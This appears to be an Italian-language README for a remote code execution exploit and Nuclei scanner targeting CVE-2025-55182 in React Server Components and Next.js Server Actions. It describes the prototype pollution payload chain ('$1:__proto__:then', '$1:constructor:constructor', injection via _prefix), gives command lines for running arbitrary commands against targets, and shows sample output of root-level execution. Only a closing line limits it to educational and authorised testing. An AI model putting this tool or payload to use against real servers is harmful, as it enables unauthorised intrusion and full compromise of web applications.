
CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface
Exploit e scanner per l'esecuzione remota di codice (RCE) completo per CVE-2025-55182 nelle Server Actions di React/Next.js.
PoC originale: Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 è una vulnerabilità critica di prototype pollution nei React Server Components che consente l'esecuzione remota di codice. Questo repository fornisce sia strumenti di scansione automatizzata (template Nuclei) che di sfruttamento manuale (script Python).
Meccanismo della vulnerabilità:
L'exploit sfrutta la prototype pollution nella deserializzazione del React Flight Protocol. Inquina Object.prototype.then tramite "$1:__proto__:then" e ottiene l'accesso al costruttore di Function attraverso _formData.get impostato su "$1:constructor:constructor", quindi inietta codice dannoso tramite _prefix che viene eseguito da Function().
cve-2025-55182.yaml)Scanner automatico di vulnerabilità che esegue il comando id e recupera l'output tramite l'header X-Action-Redirect.
Utilizzo:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
Caratteristiche:
id) per verificare l'RCECVE-2025-55182.py)Script di exploit RCE completo che esegue comandi arbitrari e recupera l'output.
Utilizzo:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
Caratteristiche:
X-Action-Redirect$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI